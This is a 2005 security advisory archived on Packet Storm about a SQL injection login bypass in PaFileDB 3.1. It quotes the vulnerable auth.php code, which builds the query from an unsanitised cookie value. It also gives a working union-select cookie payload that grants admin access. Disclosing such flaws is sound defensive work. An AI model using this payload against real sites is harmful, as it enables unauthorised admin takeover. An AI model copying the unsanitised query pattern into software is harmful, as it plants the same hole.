evolve or die

PaFileDB31SQL.txt

PaFileDB31SQL.txt
Posted Aug 25, 2005
Authored by deluxe89, Astovidatu | Site security-project.org

PaFileDB 3.1 is susceptible to a SQL injection attack that allows for login bypass.

tags | exploit, sql injection
MD5 | 5ebb7571066d1cee27025c2990ccbf0e

PaFileDB31SQL.txt

Change Mirror Download
[SePro Advisory #5] PaFileDB 3.1 - SQL-Injection
===========================================================

Vendor: PhpArena
URL: http://www.phparena.net/
Date: 17.08.05

App.: PaFileDB
Version: 3.1
Type: SQL-Injection
Risc: High



Credits:
================================
Newangels & security-project.org Team
Vulnerability discovered by deluxe89
Writeup by Astovidatu


Description:
================================
paFileDB is designed to allow webmasters have a database of files for download on their site.

See [1] for a detailed description.



SQL-Injection:
================================
The vulnerable file: '/includes/admin/auth.php'

Pre-conditions:
- magic_quotes_gpc Off
- $authmethod = cookies


Vulnerable Code:
[code]
if ($authmethod == "cookies") {
echo "authmethod = cookies\n";
$cdata = explode("|", $pafiledbcookie);
$ip = $cdata[0];
$user = $cdata[1];
$pass = $cdata[2];
echo "ip = $ip, user = $user, pass = $pass\n";
}
if (!empty($user)) {
echo "user not emtpy\n";
$admin = $pafiledb_sql->query($db, "SELECT * FROM $db[prefix]_admin WHERE admin_username = '$user'", 1);
$adminip = getenv ("REMOTE_ADDR");
$md5ip = md5($adminip);
if ($pass == $admin[admin_password] && $md5ip == $ip) {
$logged = 1;
}
} else {
echo "user empty\n";
$logged = 0;
}
[/code]


SQL-Injection through $user.

In order to exploit the issue, an attacker needs to construct a malformed cookie:
Name: pafiledbcookie
Content: [MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass

"/pafiledb.php?action=admin": open and your logged in as admin in the ACP.



Solution:
================================
There is no solution yet.




[1] http://www.phparena.net/scripts.php?script=pafiledb

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close